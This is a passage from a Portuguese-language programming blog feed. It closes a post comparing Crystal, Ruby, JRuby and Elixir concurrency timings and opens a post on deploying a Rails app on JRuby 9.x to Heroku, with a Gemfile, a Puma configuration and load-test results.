    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Esse é o tempo que a versão Crystal leva:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>4,03s user 0,40s system 7% cpu 59,207 total</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Só por diversão tentei rodar a versão Ruby sob JRuby 9.1.1.0. Para rodar com JRuby basta adicionar a linha a seguir no <code>Gemfile</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">ruby</span> <span class="s2">&#34;2.3.0&#34;</span><span class="p">,</span> <span class="ss">:engine</span> <span class="o">=&gt;</span> <span class="s1">&#39;jruby&#39;</span><span class="p">,</span> <span class="ss">:engine_version</span> <span class="o">=&gt;</span> <span class="s1">&#39;9.1.1.0&#39;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Bundle install, roda normalmente, e esse é o resultado:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>47,80s user 1,99s system 108% cpu 45,967 total</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E esse é o tempo que a versão Elixir leva:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>11,38s user 1,04s system 85% cpu 14,590 total</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>Reality Check!<span class="hx:absolute hx:-mt-20" id="reality-check"></span>
    <a href="#reality-check" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Se você só olhar os tempos acima, pode chegar a conclusões erradas.</p>
<p>Antes de mais nada, é uma <strong>comparação injusta</strong>. A versão Elixir usa um algoritmo bem diferente das versões Ruby e Crystal.</p>
<p>Em Elixir eu subo um pool de processos, mais ou menos 50 deles. Aí disparo 50 requisições HTTP de uma vez. Quando cada processo termina, ele se libera de volta para o pool e eu posso disparar outra requisição HTTP da fila de links. Então é um <strong>fluxo constante</strong> de no máximo 50 requisições HTTP, constantemente.</p>
<p>As versões Crystal e Ruby/JRuby fatiam os 1.900 links em batches de 40 links e aí eu disparo 40 requisições de uma vez. Essa implementação espera todas as 40 terminarem para disparar mais 40. Ou seja, nunca é um fluxo constante, são rajadas de 40 requisições. Cada batch é freado pela requisição mais lenta do batch, sem dar chance para as outras requisições passarem.</p>
<p>É uma diferença de arquitetura. Elixir torna muito mais fácil fazer streams e Crystal, com seu estilo CSP, torna mais fácil fazer rajadas. Uma abordagem melhor seria enfileirar os 1.900 links e usar algo como Sidekiq.cr para ir consumindo um link por vez (spawnando 40 fibers para servir como um &ldquo;pool&rdquo;, por exemplo).</p>
<p>A versão Elixir tem uma arquitetura mais eficiente, e é por isso que ela leva no máximo 15 segundos para baixar todos os links de imagens, enquanto a versão Crystal leva quase um minuto inteiro para terminar (a soma das requisições mais lentas em cada batch).</p>
<p>Agora, você vai se surpreender ao ver que a versão Crystal é, na verdade, um pouco mais lenta que a versão Ruby! E você não vai ficar tão surpreso ao ver o JRuby mais rápido aos 45 segundos!</p>
<p>Essa é mais uma evidência de que você não deve descartar Ruby (e que deveria experimentar JRuby com mais frequência). Como expliquei antes, ele suporta concorrência em operações de I/O e as aplicações que testei são todas pesadas em I/O.</p>
<p>A diferença provavelmente está na maturidade da biblioteca <code>Net::HTTP</code> do Ruby contra a <code>HTTP::Client</code> do Crystal. Tentei vários ajustes na versão Crystal, mas não consegui ficar muito mais rápido. Tentei batches maiores, mas por algum motivo a aplicação simplesmente trava, pausa, e nunca libera. Tenho que dar Ctrl-C e tentar de novo até finalmente passar. Se alguém souber o que estou fazendo de errado, não se esqueça de escrever na seção de comentários abaixo.</p>
<p>Parte disso provavelmente é por conta dos servidores instáveis do MangaReader, eles devem ter algum tipo de prevenção contra DoS, throttling de conexões ou algo do tipo.</p>
<p>De qualquer forma, quando passam, como o algoritmo do Ruby e do Crystal são essencialmente o mesmo, eles levam aproximadamente o mesmo tempo para completar. O que falta é eu evoluir esse algoritmo para usar algo como Sidekiq ou implementar um esquema interno de fila/pool de workers.</p>
<h3>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O objetivo desse experimento era aprender mais sobre as capacidades do Crystal e o quão fácil seria ir e voltar com Ruby.</p>
<p>Como você pode ver, existem muitas diferenças, mas não é tão difícil. Posso estar deixando algo passar, mas esbarrei em algumas dificuldades quando empurrei <code>HTTP::Client</code> + Fibers para o limite, como expliquei acima. Se você sabe o que estou fazendo de errado, me avise.</p>
<p>A diferença entre os algoritmos do Elixir e do Ruby/Crystal mostra mais do que diferenças de performance entre linguagens, mostra também a importância da arquitetura e dos algoritmos na performance geral. Esse teste foi pouco conclusivo, apenas um indício de que minha implementação ingênua de Fibers precisa de mais trabalho, e que a forma natural do Elixir lidar com processos paralelos facilita atingir níveis mais altos de paralelismo.</p>
<p>Isso serve como um aperitivo do que Crystal pode fazer, e também de que Ruby continua no jogo. E também de que Elixir certamente é algo para se acompanhar de perto.</p>
]]></content:encoded><category>anime-e-manga</category><category>linguagens-de-programacao</category><category>ruby</category></item><item><title>Pequeno Experimento com Rails sobre JRuby 9.x no Heroku</title><link>https://akitaonrails.github.io/2016/06/03/pequeno-experimento-com-rails-sobre-jruby-9-x-no-heroku/</link><guid isPermaLink="true">https://akitaonrails.github.io/2016/06/03/pequeno-experimento-com-rails-sobre-jruby-9-x-no-heroku/</guid><pubDate>Fri, 03 Jun 2016 18:12:00 -0300</pubDate><description>&lt;p&gt;Depois de brincar com linguagens diferentes de Ruby (como &lt;a href="https://akitaonrails.github.io/elixir"&gt;Elixir&lt;/a&gt; ou &lt;a href="https://akitaonrails.github.io/crystal"&gt;Crystal&lt;/a&gt;), chegou a hora de voltar para o Ruby e ver como o JRuby está se saindo nos dias de hoje.&lt;/p&gt;
&lt;p&gt;O JRuby sempre perseguiu o objetivo de ser um substituto competente para o MRI. Se você não acompanhou o que andou rolando, o JRuby mudou o esquema de versões quando saiu da série 1.7 para a série 9.x. Vale a pena ler [este post](blog post) que explica isso.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Depois de brincar com linguagens diferentes de Ruby (como <a href="/elixir">Elixir</a> ou <a href="/crystal">Crystal</a>), chegou a hora de voltar para o Ruby e ver como o JRuby está se saindo nos dias de hoje.</p>
<p>O JRuby sempre perseguiu o objetivo de ser um substituto competente para o MRI. Se você não acompanhou o que andou rolando, o JRuby mudou o esquema de versões quando saiu da série 1.7 para a série 9.x. Vale a pena ler [este post](blog post) que explica isso.</p>
<p>Em resumo, se você quer compatibilidade com o MRI 2.2, precisa usar o JRuby 9.0.x; e se quer compatibilidade com o MRI 2.3, precisa usar a série 9.1.x. A versão mais atual é a 9.1.2.0. Para qualquer coisa anterior, dá pra consultar esta <a href="https://devcenter.heroku.com/articles/ruby-support#ruby-versions"target="_blank" rel="noopener">tabela de versões</a> da documentação do Heroku.</p>
<p>Existem algumas recomendações importantes também:</p>
<ul>
<li>
<p>O ideal é usar Rails 4.2. Tente ficar pelo menos acima de 4.0, e você pode ligar o <code>config.threadsafe!</code> por padrão no arquivo &ldquo;config/environments/production.rb&rdquo;. Para entender o assunto, dá uma olhada na <a href="http://tenderlovemaking.com/2012/06/18/removing-config-threadsafe.html"target="_blank" rel="noopener">excelente explicação do Tenderlove</a>.</p>
</li>
<li>
<p>Se você está fazendo deploy no Heroku, esquece o dyno gratuito ou o 1X, que só te dá 512Mb de RAM. Apesar disso ser suficiente para a maioria das aplicações Rails pequenas (mesmo com 2 ou 3 workers concorrentes do Puma), eu percebi que até as menores apps facilmente passam disso. Então o mínimo que você deve considerar é o dyno 2X. Em qualquer configuração de servidor, pense sempre em mais de 1Gb de RAM.</p>
</li>
</ul>
<h3>Gems<span class="hx:absolute hx:-mt-20" id="gems"></span>
    <a href="#gems" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Existem várias gems com extensões em C que simplesmente não funcionam. Algumas têm substitutas drop-in, outras não. Dá uma olhada no <a href="https://github.com/jruby/jruby/wiki/C-Extension-Alternatives"target="_blank" rel="noopener">Wiki deles</a> para ver a lista de casos.</p>
<p>No meu pequeno aplicativo de exemplo - que nada mais é do que um site de conteúdo apoiado em um banco Postgresql, com ActiveAdmin para gerenciar o conteúdo, RMagick + Paperclip (sim, é uma app antiga) para upload e redimensionamento de imagens - não havia muito o que mudar. As partes importantes do meu &ldquo;Gemfile&rdquo; acabaram ficando assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">source</span> <span class="s1">&#39;https://rubygems.org&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">ruby</span> <span class="s1">&#39;2.3.0&#39;</span><span class="p">,</span> <span class="ss">:engine</span> <span class="o">=&gt;</span> <span class="s1">&#39;jruby&#39;</span><span class="p">,</span> <span class="ss">:engine_version</span> <span class="o">=&gt;</span> <span class="s1">&#39;9.1.1.0&#39;</span>
</span></span><span class="line"><span class="cl"><span class="c1"># ruby &#39;2.3.1&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">gem</span> <span class="s1">&#39;rails&#39;</span><span class="p">,</span> <span class="s1">&#39;~&gt; 4.2.6&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">gem</span> <span class="s1">&#39;devise&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">gem</span> <span class="s1">&#39;haml&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">gem</span> <span class="s1">&#39;puma&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">gem</span> <span class="s1">&#39;rack-attack&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">gem</span> <span class="s1">&#39;rack-timeout&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">gem</span> <span class="s1">&#39;rakismet&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Database</span>
</span></span><span class="line"><span class="cl"><span class="n">gem</span> <span class="s1">&#39;pg&#39;</span><span class="p">,</span> <span class="ss">platforms</span><span class="p">:</span> <span class="ss">:ruby</span>
</span></span><span class="line"><span class="cl"><span class="n">gem</span> <span class="s1">&#39;activerecord-jdbcpostgresql-adapter&#39;</span><span class="p">,</span> <span class="ss">platforms</span><span class="p">:</span> <span class="ss">:jruby</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Cache</span>
</span></span><span class="line"><span class="cl"><span class="n">gem</span> <span class="s1">&#39;dalli&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">gem</span> <span class="s2">&#34;actionpack-action_caching&#34;</span><span class="p">,</span> <span class="ss">github</span><span class="p">:</span> <span class="s2">&#34;rails/actionpack-action_caching&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Admin</span>
</span></span><span class="line"><span class="cl"><span class="n">gem</span> <span class="s1">&#39;activeadmin&#39;</span><span class="p">,</span> <span class="ss">github</span><span class="p">:</span> <span class="s1">&#39;activeadmin&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">gem</span> <span class="s1">&#39;active_skin&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Assets</span>
</span></span><span class="line"><span class="cl"><span class="n">gem</span> <span class="s1">&#39;therubyracer&#39;</span><span class="p">,</span> <span class="ss">platforms</span><span class="p">:</span> <span class="ss">:ruby</span>
</span></span><span class="line"><span class="cl"><span class="n">gem</span> <span class="s1">&#39;therubyrhino&#39;</span><span class="p">,</span> <span class="ss">platforms</span><span class="p">:</span> <span class="ss">:jruby</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">gem</span> <span class="s1">&#39;asset_sync&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">gem</span> <span class="s1">&#39;jquery-ui-rails&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">gem</span> <span class="s1">&#39;sass-rails&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">gem</span> <span class="s1">&#39;uglifier&#39;</span><span class="p">,</span>     <span class="s1">&#39;&gt;= 1.3.0&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">gem</span> <span class="s1">&#39;coffee-rails&#39;</span><span class="p">,</span> <span class="s1">&#39;~&gt; 4.0.0&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">gem</span> <span class="s1">&#39;compass-rails&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">gem</span> <span class="s1">&#39;sprockets&#39;</span><span class="p">,</span> <span class="s1">&#39;~&gt;2.11.0&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Image Processing</span>
</span></span><span class="line"><span class="cl"><span class="n">gem</span> <span class="s1">&#39;paperclip&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">gem</span> <span class="s1">&#39;fog&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">gem</span> <span class="s1">&#39;rmagick&#39;</span><span class="p">,</span> <span class="ss">platforms</span><span class="p">:</span> <span class="ss">:ruby</span>
</span></span><span class="line"><span class="cl"><span class="n">gem</span> <span class="s1">&#39;rmagick4j&#39;</span><span class="p">,</span> <span class="ss">platforms</span><span class="p">:</span> <span class="ss">:jruby</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">group</span> <span class="ss">:test</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">  <span class="n">gem</span> <span class="s1">&#39;shoulda-matchers&#39;</span><span class="p">,</span> <span class="nb">require</span><span class="p">:</span> <span class="kp">false</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">group</span> <span class="ss">:test</span><span class="p">,</span> <span class="ss">:development</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">  <span class="n">gem</span> <span class="s2">&#34;sqlite3&#34;</span><span class="p">,</span> <span class="ss">platforms</span><span class="p">:</span> <span class="ss">:ruby</span>
</span></span><span class="line"><span class="cl">  <span class="n">gem</span> <span class="s2">&#34;activerecord-jdbcsqlite3-adapter&#34;</span><span class="p">,</span> <span class="ss">platforms</span><span class="p">:</span> <span class="ss">:jruby</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># Pretty printed test output</span>
</span></span><span class="line"><span class="cl">  <span class="n">gem</span> <span class="s1">&#39;turn&#39;</span><span class="p">,</span> <span class="nb">require</span><span class="p">:</span> <span class="kp">false</span>
</span></span><span class="line"><span class="cl">  <span class="n">gem</span> <span class="s1">&#39;jasmine&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">gem</span> <span class="s1">&#39;pry-rails&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">gem</span> <span class="s1">&#39;rspec&#39;</span>
</span></span><span class="line"><span class="cl">  <span class="n">gem</span> <span class="s1">&#39;rspec-rails&#39;</span>
</span></span><span class="line"><span class="cl">  <span class="n">gem</span> <span class="s1">&#39;capybara&#39;</span>
</span></span><span class="line"><span class="cl">  <span class="n">gem</span> <span class="s1">&#39;poltergeist&#39;</span>
</span></span><span class="line"><span class="cl">  <span class="n">gem</span> <span class="s1">&#39;database_cleaner&#39;</span><span class="p">,</span> <span class="s1">&#39;&lt; 1.1.0&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">gem</span> <span class="s1">&#39;letter_opener&#39;</span>
</span></span><span class="line"><span class="cl">  <span class="n">gem</span> <span class="s1">&#39;dotenv-rails&#39;</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">group</span> <span class="ss">:production</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">  <span class="n">gem</span> <span class="s1">&#39;rails_12factor&#39;</span>
</span></span><span class="line"><span class="cl">  <span class="n">gem</span> <span class="s1">&#39;rack-cache&#39;</span><span class="p">,</span> <span class="nb">require</span><span class="p">:</span> <span class="s1">&#39;rack/cache&#39;</span>
</span></span><span class="line"><span class="cl">  <span class="n">gem</span> <span class="s1">&#39;memcachier&#39;</span>
</span></span><span class="line"><span class="cl">  <span class="n">gem</span> <span class="s1">&#39;newrelic_rpm&#39;</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Repare como pareei as gems para as plataformas <code>:ruby</code> e <code>:jruby</code>. Depois dessa mudança e de rodar <code>bundle install</code>, executei minha suíte de Rspec e - felizmente - todos os testes passaram de primeira sem precisar de nenhuma alteração adicional! O resultado vai variar dependendo da complexidade da sua aplicação, então tenha seus testes prontos.</p>
<h3>Puma<span class="hx:absolute hx:-mt-20" id="puma"></span>
    <a href="#puma" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>No caso do Puma, a configuração é um pouco mais delicada, a minha ficou assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">web_concurrency</span> <span class="o">=</span> <span class="nb">Integer</span><span class="p">(</span><span class="no">ENV</span><span class="o">[</span><span class="s1">&#39;WEB_CONCURRENCY&#39;</span><span class="o">]</span> <span class="o">||</span> <span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="n">web_concurrency</span> <span class="o">&gt;</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">  <span class="n">workers</span> <span class="n">web_concurrency</span>
</span></span><span class="line"><span class="cl">  <span class="n">preload_app!</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">threads_count</span> <span class="o">=</span> <span class="nb">Integer</span><span class="p">(</span><span class="no">ENV</span><span class="o">[</span><span class="s1">&#39;RAILS_MAX_THREADS&#39;</span><span class="o">]</span> <span class="o">||</span> <span class="mi">5</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">threads</span> <span class="n">threads_count</span><span class="p">,</span> <span class="n">threads_count</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">rackup</span>      <span class="no">DefaultRackup</span>
</span></span><span class="line"><span class="cl"><span class="n">port</span>        <span class="no">ENV</span><span class="o">[</span><span class="s1">&#39;PORT&#39;</span><span class="o">]</span>     <span class="o">||</span> <span class="mi">3000</span>
</span></span><span class="line"><span class="cl"><span class="n">environment</span> <span class="no">ENV</span><span class="o">[</span><span class="s1">&#39;RACK_ENV&#39;</span><span class="o">]</span> <span class="o">||</span> <span class="s1">&#39;development&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">on_worker_boot</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">  <span class="c1"># Worker specific setup for Rails 4.1+</span>
</span></span><span class="line"><span class="cl">  <span class="c1"># See: https://devcenter.heroku.com/articles/deploying-rails-applications-with-the-puma-web-server#on-worker-boot</span>
</span></span><span class="line"><span class="cl">  <span class="no">ActiveRecord</span><span class="o">::</span><span class="no">Base</span><span class="o">.</span><span class="n">establish_connection</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>É um pouco diferente do que você vai encontrar em outras documentações. A parte importante é desligar workers e preload_app quando estiver carregando sobre JRuby. Caso contrário ele reclama e quebra. No meu deploy original com MRI estou usando um dyno 1X pequeno e posso deixar <code>WEB_CONCURRENCY=2</code> e <code>RAILS_MAX_THREADS=5</code>, mas no deploy com JRuby coloquei <code>WEB_CONCURRENCY=1</code> (para desligar os workers) e <code>RAILS_MAX_THREADS=16</code> (porque parto do princípio que o JRuby aguenta mais multithreading do que o MRI).</p>
<p>Outro ponto importante: muita gente ainda assume que o MRI não consegue tirar proveito de threads paralelas nativas por causa do tal GIL (Global Interpreter Lock), mas isso é uma meia verdade. O MRI Ruby consegue paralelizar threads em esperas de I/O. Então, se uma parte da sua app está esperando o banco processar e devolver linhas, por exemplo, outra thread pode assumir e fazer outra coisa, em paralelo. O modelo tem alguma concorrência, ainda que limitada, então configurar uma quantidade pequena de threads para o Puma pode ajudar um pouco.</p>
<p>Não esqueça de configurar o Pool size para pelo menos o mesmo número de <code>RAILS_MAX_THREADS</code>. Você pode usar o <code>config/database.yml</code> para Rails 4.1+ ou adicionar um initializer. Siga a <a href="https://devcenter.heroku.com/articles/concurrency-and-database-connections#threaded-servers"target="_blank" rel="noopener">documentação do Heroku</a> para ver como fazer.</p>
<h3>Benchmarks Iniciais<span class="hx:absolute hx:-mt-20" id="benchmarks-iniciais"></span>
    <a href="#benchmarks-iniciais" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Bom, consegui fazer o deploy de uma versão secundária em JRuby da minha app Rails original baseada em MRI.</p>
<p>A app original ainda está em um Hobby Dyno, com 512Mb de RAM. A app secundária precisou de um Standard 1X Dyno, com 1Gb de RAM.</p>
<p>A app em si é super simples e como eu uso cache - <a href="http://www.akitaonrails.com/2015/05/20/dynamic-site-as-fast-as-a-static-generated-one-with-raptor"target="_blank" rel="noopener">como você sempre deveria fazer!</a> -, o tempo de resposta é bem baixo, na casa das dezenas de milissegundos.</p>
<p>Tentei usar a ferramenta <a href="https://github.com/rakyll/boom"target="_blank" rel="noopener">Boom</a> para fazer benchmark das requisições. Aqueci bastante a versão JRuby, rodei os benchmarks várias vezes e até usei o Loader.io para colocar mais pressão.</p>
<p>Estou rodando este teste:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>$ boom -n 200 -c 50 http://foo-my-site/</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>A versão MRI se comporta assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>Summary:
  Total:    16.4254 secs
  Slowest:  9.0785 secs
  Fastest:  0.8362 secs
  Average:  2.6551 secs
  Requests/sec: 12.1763
  Total data:   28837306 bytes
  Size/request: 144186 bytes

Status code distribution:
  [200] 200 responses

Response time histogram:
  0.836 [1] |
  1.660 [57]    |∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎
  2.485 [57]    |∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎
  3.309 [33]    |∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎
  4.133 [22]    |∎∎∎∎∎∎∎∎∎∎∎∎∎∎∎
  4.957 [16]    |∎∎∎∎∎∎∎∎∎∎∎
  5.782 [6] |∎∎∎∎
  6.606 [3] |∎∎
  7.430 [1] |
  8.254 [3] |∎∎
  9.079 [1] |

Latency distribution:
  10% in 1.2391 secs
  25% in 1.5910 secs
  50% in 2.1974 secs
  75% in 3.4327 secs
  90% in 4.5580 secs
  95% in 5.6727 secs
  99% in 8.1567 secs</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
